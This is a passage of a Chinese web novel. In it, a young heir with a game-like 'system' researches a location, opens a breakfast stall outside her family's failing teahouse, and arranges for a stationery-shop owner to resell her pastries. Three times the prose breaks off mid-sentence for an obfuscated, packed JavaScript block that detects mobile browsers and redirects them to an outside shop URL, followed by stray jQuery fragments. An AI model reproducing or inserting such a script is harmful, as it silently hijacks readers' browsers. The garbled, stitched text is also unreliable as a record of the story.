虽然这个想法很好,可这么一算下来,夏咏恩顿时就觉得,要开早餐铺可不是件容易的事。
别的不提,光是找到合适的铺子,就已经是一个大难题。
离开珍姨的家,她一边打量街上的商铺,一边思索早餐铺的事,就这么不知不觉走到了荣兴楼的门前。
她刚想要迈开步子踏进去,忽然脚步一顿,往四周看了看。
荣兴楼的门口摆了两盆巨大的发财树,但倒闭之后,两棵树也枯死了。
自她来了之后,这门口的发财树也没挪过位置,可此时此刻她看着这无比熟悉的场景,脑子里忽然灵光一闪。
哎?这不就有个现成的地方给我开早餐铺么?
要是直接在荣兴楼门口的位置卖早餐,不就可以省下一大笔钱吗?
她把两盆盆栽挪走,大致估量了一下这门口的尺寸,刚好足够摆一个玻璃柜台和一个餐台,玻璃柜台里放冷吃的点心,而餐台可以摆上蒸笼现蒸,要是位置紧凑一些,还能摆上豆浆牛奶之类的饮品。
这门口的位置,她越看越觉得满意,心里涌起一股激动之情。
只是她也不敢妄下定论,还得要经过仔细研究分析,才能做出最后的决定。
回到房间,夏咏恩洗了一个热水澡躺在床上,在系统中打开了香煎玉米饼的配方查看。
今天不仅收获了一员大将,还吃了一顿香喷喷的饭,简直是完美的一天!
等明天睡醒了,再研究选址的事也不迟。
顶着困意,她进了无界空间练习“香煎玉米饼”,等十点体力都用空了,她才意识回笼,迷迷糊糊地就睡了过去。
第二天一早,赖美珍拿着一个保温壶来到了荣兴楼。
壶里装的是她今天早上现熬的皮蛋瘦肉粥,一打开盖子就能闻到浓浓的米香,以及独属于皮蛋的腥气,以及葱花的清香。
米粒经过长时间的熬煮之后早已化开,在粥的最上层甚至还有一层薄薄的米油,粥里那鲜嫩的肉丝,以及切成小块的皮蛋看起来都十分诱人。
夏咏恩吃进嘴里的第一口,醇厚的米香在舌尖散开,粥被熬得很是顺滑,好香!
第二口,她咬到了软滑绵密的皮蛋,以及咸香嫩滑的肉丝,还有一些葱花。
好好吃啊!
吃着吃着,她从杂物间找了一罐橄榄菜出来,配着粥一起吃。
珍姨赶着回糕饼铺子上班,早早就离开了,剩下夏咏恩不紧不慢地把皮蛋瘦肉粥吃了个一干二净,打了一个饱嗝。
准备好今天要卖的点心,趁着离学校放学还有一些时间,她去了一趟图书馆。
尽管夏咏恩有意在荣兴楼门前开早餐铺,不过这只是一个初步的想法而已。
尽管她没有多少做生意的经验,可这阵子天天去摆摊,她也逐渐摸索出来一个道理,对于一家店来说,选址是最重要的。
荣兴楼作为一家茶楼,方家人之所以选择开在这里,肯定是有道理的,而且荣兴楼衰落的原因,多半是因为点心品质变差,和地理位置没啥关系。
可若是用来开早餐铺,夏咏恩还真不知道,这位置合不合适了。
所以,要是这里的位置不佳,她宁愿花多点钱,也好过为了节省租金却换来一家生意不好的早餐铺。
而在没有旁人带路的情况下,夏咏恩对选址也是一头懵。
因此,她连着去了五天图书馆,将所有关于餐饮经营的书籍都看了一遍。又在网上搜索了一些相关的课程,还买了许多新出版的图书,打算之后认真研读。
这时她才知道,原来开餐饮店有如此多的学问。
她大致整理了一下这些书籍和课程中的内容,列了一个详细的调研计划出来。
首先,她以荣兴楼为圆心,按照五百米为半径的范围内进行了市场调查。
除了两间国际知名快餐品牌之外,荣兴楼五百米范围内共有六间早餐铺,其中两间卖粥粉面,一间卖肠粉,剩下三间就是主打售卖点心的早餐铺。
在这三间早餐铺里,两间都是本地连锁的品牌,还有一间是私人自营的,叫陈记早夕。
这三间早餐铺,和夏咏恩想要售卖的产品是相似的,都是一些简单的点心。而他们平日里主要的顾客,是这附近的上班族以及学生。
毕竟粥粉面和肠粉制作时间稍久,吃起来也没有那么方便,所以赶时间的白领和学生一般不会去吃。
既然售卖的内容相同,夏咏恩自然也把早餐铺的目标人群定位在了白领以及学生的身上。
接下来的任务,便是记录三家早餐铺的营业额。
可是想要知道人家的营业额,哪能那么容易,总不能贸然去问吧?
难不成,自己真要用数人头这种最笨的方法?
要是空闲的时候确实可以,可现在珍姨还得去糕饼铺子,自己光是准备当天要卖的点心,就已经够忙了,哪里有时间去蹲点数人头。
这个时候,她忽然想起来,自己可是有系统的人啊!
“系统,我有什么办法能知道这三家早餐铺的营业额?”
【宿主,该功能待解锁哦!】
夏咏恩双眼一亮,看来好像有戏啊!
“你就不能给我提前解锁吗?我现在真的很需要这个功能。”
【宿主您好,欢迎使用茶楼经营系统,本系统致力于帮助您经营荣兴楼……】
不是,你不想理我也不用开始自我介绍吧!
夏咏恩翻了个白眼,“我开早餐铺也是为了攒钱开茶楼嘛,你就不能给我来个什么七天试用期吗?”
系统一阵沉默,许久那熟悉的声音才又响了起来:
【已为宿主解锁一次免费试用机会】
经过抓取和分析,系统面板上已经呈现出三家早餐铺的经营情况。
其中最值得夏咏恩关注的就是陈记早夕,因为这家陈记早夕,就跟荣兴楼在同一条街上。
当夏咏恩看到陈记早夕的营业额后,她的口水都要流出来了。
【陈记早夕今日经营情况】:
今日客流:328人
今日平均满意度:67%
今日营业额:1457.8元
夏咏恩心头大震,今天还没过完呢,这家店差不多就赚了一千五,一个月不就是四万五?
不过,即便是在同一条街上,生意也不一定能一样好,毕竟影响一家店生意的因素可太多了。
因此,她虽然有些激动,但很快又稳了稳心神,打开手机地图开始琢磨起了两家店的位置。
两家店距离三百多米,背后是一个大型的老小区,小区其中一个出入口就在两家店的中间。
从小区往陈记早夕的方向过去,靠近一个大型的超市和菜市场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492858|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,荣兴楼这边则靠近公交站和地铁站,因此每日在这条街上来往的人很多。
她决定,自己以后一定要重点关注这家店。
两日后的七点,夏咏恩来到了陈记早夕的门口。
陈记早夕门口有几张小桌子和矮凳,不过更多的人还是选择打包带走。
她看了一圈,这家店里的品种不少,价格也实惠,所以来买的人很多。
夏咏恩站在店门口低头挑选,顺便偷偷记下了店里的所有点心品种以及价格。最后,她挑了一块芋头糕,一块萝卜糕,加起来四块钱。
付完了钱,她站在店门旁边吃了起来,两款点心的味道和她记忆中的一样,就是普通茶楼里能吃到的味道。
不过芋头糕有些油腻,而萝卜糕吃起来有些硬,大体上来说确实过得去,只是说不出很惊艳。
可这价格确实便宜,而且份量也不小,早上吃两块再加上一个鸡蛋,足够撑一个上午了。
之后的好几天,她又抽空去了几次陈记早夕,每一回都见那店里的人并不少。
眼见着陈记早夕生意这么旺,她对于在荣兴楼门口开早餐铺多了几分底气。
自己做的点心比陈记早夕更好吃,而且价格份量也差不多,并且自小区出来往荣兴楼的方向走,就是地铁站和公交站,工作日早上的人流量要更大些。
和珍姨商量过后,赖美珍也觉得这个想法不错,两人最后决定,就在荣兴楼店门口卖早餐。
早餐铺的选址大致定下,夏咏恩开始着手准备其他的事情。厨房器具、各类设备都得开始采买,而最重要的原材料采购,她则交到了赖美珍的手里。
这附近的菜市场哪一家的东西新鲜,哪一家的东西实惠,没有人比常年混迹菜市场的赖美珍更清楚,也没有人比她更懂得如何讨价还价。
尽管开早餐铺的计划虽然已提上了日程,但每日去学校摆摊还是不能忘的。
跟以往不同的是,现在夏咏恩的小摊前挂了一个新的招牌,上面写着早餐铺的地址以及开业的时间,以及一句十分醒目的话:凡是铁三中的学生一律九五折!
俗话说得好,酒香也怕巷子深。这些学生本就是早餐铺的目标人群之一,借着摆摊的机会,不费吹灰之力就将早餐铺宣传了出去。
虽说荣兴楼距离学校有一公里多的路,可这些学生住的应该都不远,说不准就有人住在荣兴楼的附近,日后就会来光顾早餐铺。
就这样,夏咏恩要开早餐铺的事情在学生们之间传开了。
而文具店的老板冯姐,以及书店老板,自然也知道了此事。
书店老板如今已不卖糕点了,每天就安分守己地守着书店过活。可听说了这个事后,不免幸灾乐祸起来,那姑娘要开早餐铺,恐怕就没有时间来学校摆摊了吧?
等她一走,文具店的生意还能红火几日?
于是这几日,他路过文具店时,看见坐在店外嗑瓜子的冯姐,忍不住就幽幽地嘲讽一句,“有些人啊,就没那个赚大钱的命。”
冯姐恼怒,朝他啐了一口,可心里却很是忐忑不安。
这些天她看着夏咏恩忙前忙后,浑身上下也提起了一股劲来,先把文具店重新收拾了一遍,又进了许多新鲜的玩意,学生们的反馈也很好。
她得意了没几天,就听说了夏咏恩要开早餐铺的事。
虽说学校这里是下午才出摊,可做点心很是耗时间耗精力,夏咏恩她一个人能搞得过来吗?
万一她决定不来这里摆摊了,如今店里才刚刚转亏为盈,这么大一个财神要是走了,自己想哭都没地方哭啊!
于是么,等到学生们都散了,她扭扭捏捏地来到夏咏恩身边,“小夏啊,你的早餐铺子是不是快开业啦,等开业我一定带人过去给你捧场。”
夏咏恩点点头,“好呀,谢谢冯姐。其实我今天,还有一件事想跟您说来着。”
冯姐的心里咯噔一下,手里都捏了把汗,“小夏啊,你该不会真的不来了吧?”
15. 冯姐的机遇 发展下线
夏咏恩一愣,“冯姐,你想什么呢?”
这一阵,除了筹备早餐铺外,她一直都在思索如何平衡摆摊与开店的问题。
摆了一个月的摊,现在无论是在学校,还是在美食广场,都已经积累了一大批食客,要是为了早餐铺而不出摊了,恐怕会流失许多食客。
这些食客可都是自己每天辛辛苦苦摆摊才积累出来的,夏咏恩才舍不得就这样看着他们到别家去。
更重要的是,现在她对早餐铺的生意还全无把握。
俗话说鸡蛋不能放在同一个篮子里,荣兴楼还有二十万的债要还,她不敢孤注一掷,将早餐铺当成唯一的救命稻草。
于是她仔细盘算了一下,如今有两个人一起干活,加上自己逐渐熟练,效率比以前高了许多,只要手脚勤快一些,每天做两回点心也不是不可能的事。
只是这样一来,确实很辛苦。
可不辛苦,又哪能赚钱还债呢?
除此以外,她还想到了一件事。
之前是因为学生们想在早上吃到点心,所以自己才萌生了开早餐铺的想法,如今虽然每天都在小摊上挂了宣传的招牌,可能够被引流到早餐铺的学生,或许只有十分之一。
这样一来,学生们的需求还是没有被解决。既然有了这样的需求,那就给了自己努力的余地。
虽然自己来不了,那别人呢?
她对冯姐说,“您放心,以后我下午还是会照常来,只是——”
冯姐刚松了一口气,又听见夏咏恩说,“这些日子沾着您的光,我才能安安稳稳地摆摊。如今开了早餐铺,我心里却有些不踏实,还想再求您帮我一个忙。”
“哎呀,你说的这叫什么话,要是有什么我能帮得上的,你就尽管开口。”
夏咏恩这才将自己的计划和盘托出,其实很简单,就是两个字,代销。
方才冯姐还以为夏咏恩真的有什么大事想求自己帮忙,心里有些不安稳,可一听她说的话,整个人都傻了。
这是叫自己帮忙么?这是来给自己送钱啊!
按照她说的那样,自己只要每日一早将点心从早餐铺拉回来售卖就行,到手的钱,自己能分到三成。
冯姐在心里头快速算起数来,学校离荣兴楼就一公里多,那一点路能用多少油费?而且还不用自己早起做点心,这跟躺着赚钱有什么区别?
“这些日子相处下来,我知道您是个实在人,学生们也习惯了来文具店买吃的,跟您合作我是一万个放心,所以么第一时间就想起您了,也不知道您肯不肯帮我这个忙?”
冯姐双眼一亮,拉着夏咏恩的手就说,“好姑娘,你说得这叫什么话啊,这事怎么能叫我帮你的忙呢。”
两人一边撸猫一边说着具体的细节,冯姐越听越是激动,觉着自己发家致富的日子仿佛就在眼前了。
但话说到最后,还是勉强稳住了心神,假装淡定道,“你等我回家想想,明日我再给个答复。”
夏咏恩也不急,“没事您慢慢想,要是您觉得这样不好,直截了当跟我说就是,不用忌讳什么。”
晚上冯姐回到家,她丈夫正在厨房烧菜,见她一脸笑意,连忙问道,“这是怎么了?遇上什么好事了?”
冯姐火急火燎地走到厨房门口,将代销的事说了一遍。
冯大哥倒酱油的手一顿,“真有这样的好事?”
“是啊,那姑娘为人不错,做的点心更是一绝。”
饭桌上,冯姐扯了一张日历,就在背后仔细算了起来,压根也顾不上吃饭了。
冯大哥给她夹了块鱼腩,想了想还是开了口,“我说啊,这事还是有些不靠谱。”
冯姐抬起头,“怎么不靠谱了?”
“你想啊,进货的数量都得你来定,要是进的货多买的人少,你不就赔了么?到时候不但一分都没挣着,还要倒贴钱进去,赚的就只有那个夏姑娘。”
被冯大哥这样一说,冯姐也觉得好像有些道理。
可她想了想又说,“那不会,学生们都爱吃小夏的东西,再怎么样也不至于赔钱吧,实在不行,一开始我进得少些就行。”
经过这些日子,冯姐对夏咏恩已然是佩服得五体投地,先不说她品行如何,单论她做的点心了,无论是谁吃了都会忍不住竖起大拇指。
“你说的倒是容易,万一学生们只认她不认你咋办?”
冯姐眼刀一劈,“这事你别管了,做生意的事情,你个老头子懂什么?”
冯大哥也不恼,乐呵呵地说,“好了好了,你先把饭吃了再弄吧,不急在一时半会的。”
冯家老两口都曾是本地船厂的工人,冯大哥年轻时还是个技术骨干,下岗后就找了个保安的工作干着,这么些年也存了不少钱,再加上每个月四千多的养老金,日子过得是潇洒自在。
而冯姐当年下岗后,便扎进了创业的浪潮,只可惜或许没那个运道,这些年开了好几间铺子都没能赚上什么钱。
创业失败多回,冯姐心里那团火早就没影了,随着女儿和儿子都逐渐长大,便也不折腾了,这才盘了一家文具店,打算安安稳稳地赚点小钱,给孩子补贴点零花钱。
如今随着夏咏恩的到来,冯姐的心思又再一次活络了起来。
虽然说,现在家里并不差钱,两个孩子的工作都不错,也找了一个好的对象,自己和丈夫也有退休金。
可是,既然有了能赚钱的机会,总不能眼睁睁地瞧着机会从自己面前白白溜走吧?
见妻子兴致勃勃,冯大哥也歇了劝说的心思。妻子对做生意的热忱,他是最清楚不过的,不过这些年生意屡屡失败,妻子的精气神都萎靡了不少。
眼看着妻子如今又生龙活虎起来,他不禁觉得有些欣慰,索性任由她去。不管成与不成,权当做打发时间好了。
而冯姐想了一个晚上,最后下了决心,就跟着夏咏恩干。
既是说定了,两人就找了个空闲的时候签了合同,一式两份。
学校这边的事情商定之后,夏咏恩前些日子订购的柜台和餐台也到了。眼看着一切都差不多准备好了,赖美珍翻看黄历,找了个黄道吉日,定下了早餐铺的开业时间。
夏咏恩自然不会忘记了自己的第一个忠实食客,马上就把消息告诉了李敏瑶。
李敏瑶十分高兴,以往她都是直接吃某快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492859|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
餐品牌的早餐,为了省钱还开了个早餐卡,但仔细算起来,一个月最少也得花两三百在早餐上,仔细想想还是有些心疼。
现在有了早餐铺,荣兴楼的位置又靠近地铁,自己上班正好顺路,这下以后就可以常去买了。
正所谓有人欢喜有人愁,赵一平就没有那么高兴了,毕竟他上班都是走路,去学校的方向和去荣兴楼的方向完全是相反的。
夏咏恩了解到赵一平的遗憾后,特意给李敏瑶发来的消息:“校门口那间文具店的老板帮我代销早餐,以后赵老师要是想吃,可以早点去买。”
得知这个好消息的赵一平,自然是喜笑颜开。
夏咏恩刚结束和李敏瑶的对话,便收到了一条新消息,是她的大学辅导员秦老师发来的。
“小夏呀,你现在怎么样了,听说你没有签三方回花城了?”
夏咏恩顿了一顿,“是的老师,家里出了点事,我回来花城帮忙。”
毕业以后,秦老师看到了毕业生就业情况登记里夏咏恩写的内容,区别于别的同学考研、考公和就业,夏咏恩的毕业去向在名单里格外醒目。
作为辅导员,秦老师对夏咏恩的身世也是有几分了解的,再加上夏咏恩的绩点一直都在年级前三,因此对于这个学生,秦老师不免多了几分关注。
在得知夏咏恩通过了某国企的面试后,秦老师很是欣慰,可很快又知道,夏咏恩竟然没有选择入职,反而回到了花城经营茶楼。
尽管她觉得很是可惜,但这毕竟是人家自己的选择,她也不好多说什么。
这一回联系夏咏恩,是因为还有大半个月就是新生入学了,夏咏恩作为这一届的优秀毕业生,学院想要邀请她在入学仪式上作一番演讲。
“谢谢老师,只不过我现在忙着茶楼的事,恐怕抽不出身来回学校了。”
秦老师又说道,“我知道你现在很忙,但我之所以联系你,是因为这回入学仪式,学院还邀请了小梁回来。”
夏咏恩盯着对话框想了想,“梁修文学长吗?”
“是啊,他最近又出版了一本新书,我这不想着,你们都是同乡,又都是跟烹饪打交道的,说不准他有什么能帮得上你的地方呢?”
夏咏恩想了想,“还是算了吧,我确实抽不开身。”
她知道秦老师是有心关照自己,才特意提起了此事。只是为了开早餐铺,这些日子实在是忙得脚不沾地,抽时间回学校更是不可能的事情。
再说了,她也不是那么想见到梁修文。
两个人聊了一会,夏咏恩收到了一条催款的短信。
她叹了一口气,打开了记账软件。辛辛苦苦摆摊一个月,好不容易攒到了三万出头,然而筹备早餐铺就去了大半,现在手上只剩下了八千多块,还得留大部分给珍姨发工资。
真不知道什么时候才能把欠的二十万还清。
二十万元这个数目放在小绿书上,并不算什么,毕竟网上人人都是开超跑住豪宅的有钱人,可现实生活中,谁又能轻轻松松拿出这么多钱呢?
她放下手机,打起精神,看向墙上的日历。
距离早餐铺开业,还有三天。
16. 早餐铺第一天
七月末的一日清晨,太阳晒得街上热烘烘的,空气格外闷热,叫人透不过气来。
徐梦打着哈欠,关掉闹钟从床上爬起来,胡乱抓了件衣服和裤子套在身上,就晕乎乎地往卫生间走去。
洗漱完后,她总算是清醒了一些,戴上黑框眼镜拿起包,走出了家门。
她的家离地铁站并不远,只有五百多米,平时走倒是没什么,可天气一热起来,别说五百米了,五十米她都不想走。
有的时候睡过头了,更是要小跑着去地铁站,进到地铁后整个人就跟从水里捞起来的一样。
还没有睡醒的徐梦打着伞,一路低着头朝地铁站走去。走了快一半的路,她才想起来,今天自己忘记买早餐了!
往日她都是在陈记早夕买早餐带去公司吃的,偏偏今日太困,迷迷糊糊就走过了。
徐梦瞬间就顿在原地,狠狠地拍了一下脑门,但这么热的天,她也不愿倒回去买早餐,再走去地铁站。
算了,今天上午就饿着吧,挨到中午再吃好了。
她打着伞继续往前走,没走几步,就发现前面摆了六个庆祝的花篮,好像是有铺子开业了。
再仔细一瞧,嗯?好像是卖早餐的?
说是铺子,其实只是一个临时的档口,摆在了一间茶楼的前面。
档口的玻璃柜台里摆了许多新鲜的点心,餐台上放了六个大蒸笼,还有一口煎锅,煎锅里铺了六个玉米饼,还在滋啦滋啦地冒着热气。
店铺前有零零星星的三四个人,徐梦收起伞走上前,想要看看有什么好吃的。
干净锃亮的玻璃柜台分了三层,各种点心都放在了特制的大铁盘里,第一层摆着刚煎好的玉米饼以及新鲜出炉的马拉糕,第二层摆着白糖糕、水晶饼以及切成小方砖的椰汁千层糕,最底下是不同口味的钵仔糕。
再一看煎锅里,巴掌那么大的一块肉饼里放了玉米粒、青豆、胡萝卜,表皮被油煎过之后,呈现出焦黄的颜色,看起来十分诱人。
徐梦的肚子不争气地响了起来,再一看价格,都在三块钱的范围内,价格好实惠啊!
“你好呀,想要吃些什么?”
徐梦这才留意到柜台后站着的两个人,一个年纪稍长,一个年纪估计跟自己差不多。
两人都留着一头短发,脖子和耳朵上都没有首饰,双手的袖口都折了起来,手指甲上也是干干净净的。
夏咏恩见徐梦犹豫不决,指了指餐台上放着的食盒,“这里有试吃的,你可以尝一尝再决定要不要买。”
各色点心被切成骰子大小,规规整整地摆在食盒中。徐梦走上前去,拿起一旁的牙签,选了一块自己最想吃的玉米饼。
尽管试吃的分量不大,可味道她却尝得真切。煎过的玉米饼油香油香的,里头的肉馅紧实弹牙,却因为有玉米胡萝卜青豆在,并不觉得油腻,反而越嚼越觉得美味。
徐梦的困意一瞬间就消失了,她放下牙签,又瞄了瞄试吃盒里的点心,想着再来一块,却有些不好意思。
夏咏恩笑着问,“美女,要来一块么?”
虽然徐梦有些心动,可大夏天的,她还是不想吃那么上火的食物,于是便把目光放在别处。
眼睛一扫,她发现招牌上还写着:冰镇马蹄爽两元一杯。
徐梦双眼一亮,这里竟然有马蹄爽卖!
于是,她要了一杯冰镇马蹄爽,还有一块香煎玉米饼。
夏咏恩笑着说,“今天是我们开业第一天,您是我们的第十位客人,马蹄爽就当是我们送您的。”
徐梦一愣,难以置信地说,“谢谢,我也太幸运了吧!”
今天本来是一个再平凡不过的工作日,可一大早就天降惊喜,徐梦对上班的怨气,顿时就消散了不少。
她刚转身离开早餐铺,就迫不及待地把吸管插进了杯子了,吸起了马蹄爽。
马蹄爽冰冰凉凉的,喝起来也不费劲,大热天的来上那么一口,简直舒服极了!
走了不过一百米,一杯马蹄爽已经被徐梦喝完了。尽管身上还是出着汗,可心头的燥热感已经弱了许多。
她一边打着伞继续走,一边拿出口袋的玉米饼吃了起来。
方才试吃的时候,她只不过是大致尝了个味而已,如今拿着一大块玉米饼吃,那才知道什么是痛快。
玉米饼外层被煎得焦脆,带了薄薄的一层油。一口咬下去,先是“咔哧”一声,脆脆的外壳被咬开口,就能咬到里头满满的肉。
吸满了猪油的玉米和胡萝卜香甜可口,青豆则增添了一些与众不同的口感,让整块玉米饼嚼起来不觉得单调乏味。
这……这还是自己认识的玉米饼吗?
她记得以前吃的玉米饼,外面都裹了厚厚的一层粉,里头的肉馅少得可怜。
可这家卖的香煎玉米饼,肉多,皮薄,吃起来香得不得了。
吃完了早餐,原本还是迷迷瞪瞪的徐梦,整个人都舒服了,一下子就精神了起来,连赶地铁的步伐也快了一些。
要是自己每天早上都能吃到这么好吃的早餐,那该是一件多幸福的事啊!
徐梦走后,李敏瑶来到了荣兴楼。
她担心今天早餐铺的人会特别多,所以紧赶慢赶地下了楼,可没想到玻璃柜台前只有两三个人,还都是在试吃的。
对于这种情况,夏咏恩早有了一定的心理准备。
毕竟第一天刚开业,许多人压根就不知道这里有一家早餐铺,都是去别处买了早餐或者已经吃过了,因此她才特意设置试吃的食盒。
对自己做的点心,她还是有几分信心的。那些路人今天尝过后,自然就会在他们心里留下印象,等之后有需要的时候,便会主动上门。
除了点心之外,夏咏恩还准备了红薯、玉米、鸡蛋以及豆浆这些寻常早餐铺都会有的东西。
只不过相比起豆浆,似乎一杯冰镇的马蹄爽更能得到大家的欢迎。
毕竟花城的天气实在是太热了,大早上还没睡醒光吃点心,实在是让人有些难以下咽。
可豆浆牛奶八宝粥这些实在是太过寻常,为了突显早餐铺的与众不同,夏咏恩才想到了马蹄爽。
马蹄爽做起来简单,用料也简单,马蹄切得细碎,喝进嘴巴里根本不用怎么嚼,配着别的点心吃正正好。
到了十点半,来买早餐的人已经少了许多。
夏咏恩和赖美珍算了一下今天的账,果然是马蹄爽卖得最多,其次就是白糖糕和玉米饼。
但总体来说,第一天的生意并不是特别好。
夏咏恩倒是没有气馁,现在早餐铺的品种还不够多,宣传做的也不够,反正来日方长,生意总会慢慢好起来的。
两人吃过午饭,便开始准备下午摆摊要用的点心。夏咏恩照样去学校摆摊,留下赖美珍一人看店。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492860|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>等夏咏恩回到荣兴楼,已经是晚上七点多了。
这下她才想起来,今天忙了一整天,还没来得及看系统呢。
【恭喜早餐铺开业!解锁“咸水角”“咸煎饼”配方】
【茶楼评级已升为早餐铺】
【系统面板已为宿主新增资产统计模块】
她切回去系统首页,发现系统面板已经更新了:
【姓名:夏咏恩】
【年龄:22】
【身份:荣兴楼继承人】
【主线任务:重振荣兴楼】
【茶楼评级:Lv.2早餐铺】
【当前总资产:-195784.8元】
【阶段任务:一周营业额达到2000元】
按照新的阶段任务,一周内的营业额要达到2000元,也就是每天起码要卖出286元。
而夏咏恩算账后发现,今天才卖了221元。
单纯希望之后几天的生意暴涨,足以弥补前两天开业的差额是不可取的。
现在早餐铺的点心还是太少,要是品类多些,生意应该会好起来,只可惜抠门的系统,每次完成任务就解锁一两个点心。
她又点开茶点图鉴,查看咸水角和咸煎饼的配方。
咸水角是平时非常常见的茶楼点心,许多上了年纪的老人家都喜欢吃,因为它的外皮软糯甜香,内里却包着韭菜、虾米、香菇、猪肉等馅料,既十分美味,又不费牙齿咀嚼,完全是老少皆宜。
而咸煎饼则更受年轻人的喜爱,虽然叫煎饼,但其实是油炸出来的。它起源于20世纪30年代,是用南乳与白糖加入面团后油炸而得。
南乳其实就是红腐乳,相比起一般的腐乳,南乳在制作的过程中加入了红曲。
而用南乳做出来的咸煎饼除了咸香之外,还有因为红曲米而带来的微妙甜味,以及淡淡的酒香,再加上白糖的甜味,三种味道混合在一起,令咸煎饼的味道十分特别。
夏咏恩光看配方,都觉得有点饿了,忍不住就进了无界空间,开始练习起来。
只是面团还没搓好,面前的一切就陡然消失了。
她一愣,就听见不远处传来一个熟悉的声音,“阿恩啊,你怎么就在这里睡着了?”
赖美珍端着菜出来,就看见夏咏恩直接瘫倒在椅子上,吓了一大跳,连忙走过去仔细查看,又探了探鼻息,才发现是睡着了,不是出事了。
被强制从系统中抽离的夏咏恩只好装作刚睡醒一样,揉了揉眼睛,“我、我就是有点累了,今晚早点睡吧。”
“哎呀,你看你早上四点就起来做点心,卖完了早餐又开始准备下午的,肯定累啊!”
赖美珍很是心疼,决定这几天去菜市场买点料子回来,给夏咏恩煲点老火靓汤补补身子才行。
夏咏恩只好尴尬地应下,低头拿起筷子吃起来了菜。
今晚珍姨做了三个菜,一个蒸水蛋,一个冬菇蒸肉饼,还有一盘豆豉鲮鱼,还有一盆鱼丸汤。
虽然都是再普通不过的家常菜,但夏咏恩光是就着肉饼就吃了一大碗米饭,一顿饭吃完,忍不住打了个饱嗝。
没过多久,她就觉得整个人晕乎乎的,应该是晕碳了。
这一回,夏咏恩是真的睡了过去。睡着之前,还在想着怎么把早餐铺的生意做起来。
珍姨一脸心疼地看着她,这孩子,真叫人担心!
17. 咸水角
第二天清晨六点,早餐铺的玻璃柜台上已经摆满了新鲜出炉的点心。
一辆面包车停在了荣兴楼的门前,冯姐兴冲冲地从车上下来,“小夏啊,我没来迟吧?”
“没呢,时间刚刚好,”夏咏恩将三大框点心拿给她,“这里是您昨天订的货,都在这里了。”
昨日是早餐铺第一天开业,她担心忙不过来,便和冯姐协商,将文具店售卖早餐的时间推迟了到第二天。
冯姐自然是应允了,尽管她知道夏咏恩的点心味道好,可始终对代销的事没几分把握。
再说了,自己进的货万一卖不出去,岂不是砸在自己手里了?
因此,昨日早餐铺里卖得好的点心,她特意拿多了一些,其他的点心就各拿二十份,加起来统共五百多块。
看着一筐筐蒙上保鲜纸的点心,冯姐浑身上下都鼓起了干劲,把东西运上车后便往学校的方向开去。
十分钟后,正准备开门的书店老板,听见不远处传来引擎的声音。他捏着钥匙的手一顿,扭过头去,只见不远处有一辆面包车缓缓驶来。
再定睛一看,车上的人,不就是隔壁文具店老板吗?
冯姐停好了车,将车后座的点心往外搬。书店老板离得远,看得并不真切,于是开口攀谈,“哟冯大姐,又进新货呀,卖的什么呀?”
冯姐压根没有理他,径直往文具店里走去。
书店老板撇了撇嘴,不理就不理,拽什么?
可过了不久,一股熟悉的香气从文具店里飘了出来,在这附近都传了开去。
书店老板吸了吸鼻子,想了好一会,才记起来,这不就是马拉糕的味道吗!
他又一思索,难道是那个姓夏的姑娘不来了,两个人闹掰了,于是隔壁那婆娘决定自己单干卖早餐?
回想起方才看见的那一大筐点心,他越想越觉得自己没有猜错,脸上不禁露出得意之色。
果然,他就知道,隔壁那婆娘脑子不好使,连财运来了都接不住。
那些学生的嘴可都被姓夏的喂叼了,冯姐随随便便在外头进的货根本就不可能卖出去。
书店老板的心情一下子痛快多了,他倒要看看,隔壁的早餐生意几天能黄,到时候,要赔钱的可不止是自己咯。
冯姐当然不知道书店老板的想法,她手脚麻利地将各种点心都摆好,就等着来上学的学生们光顾。
这几天,夏咏恩趁着下午摆摊的时候,跟学生们提起了分销早餐的事情。
不少学生都知道,文具店卖的早餐,和夏咏恩卖的是一样的,都抱着尝试的心理,来到了文具店。
而姚晓彤就是其中之一。
尽管早餐铺离她家不远,走过去也就七八分钟的路,可作为一名极度缺觉的中学生,在床上睡多几分钟跟吃到美味的早餐相比,她百分百选择前者。
原本她还觉得颇为遗憾,可没想到夏咏恩竟然拜托文具店的老板代销,这样一来,自己既能睡多一会,又能吃上美味的早餐了!
因此,今日一起床,她就对姚建斌说,“我今天在学校附近买早餐,你不用煮我的了。”
正准备给女儿煮清汤面的姚建斌愣了一下,“啊?你去哪里买啊?干不干净的?”
姚晓彤一边洗漱一边说,“那家我吃过好几回了,又好吃又干净,你就放心吧。”
姚建斌在心里嘀咕,女儿这阵子爱吃校外的小摊,现在早上又不在家里吃早餐了,难道真的是厌烦自己做的东西了?
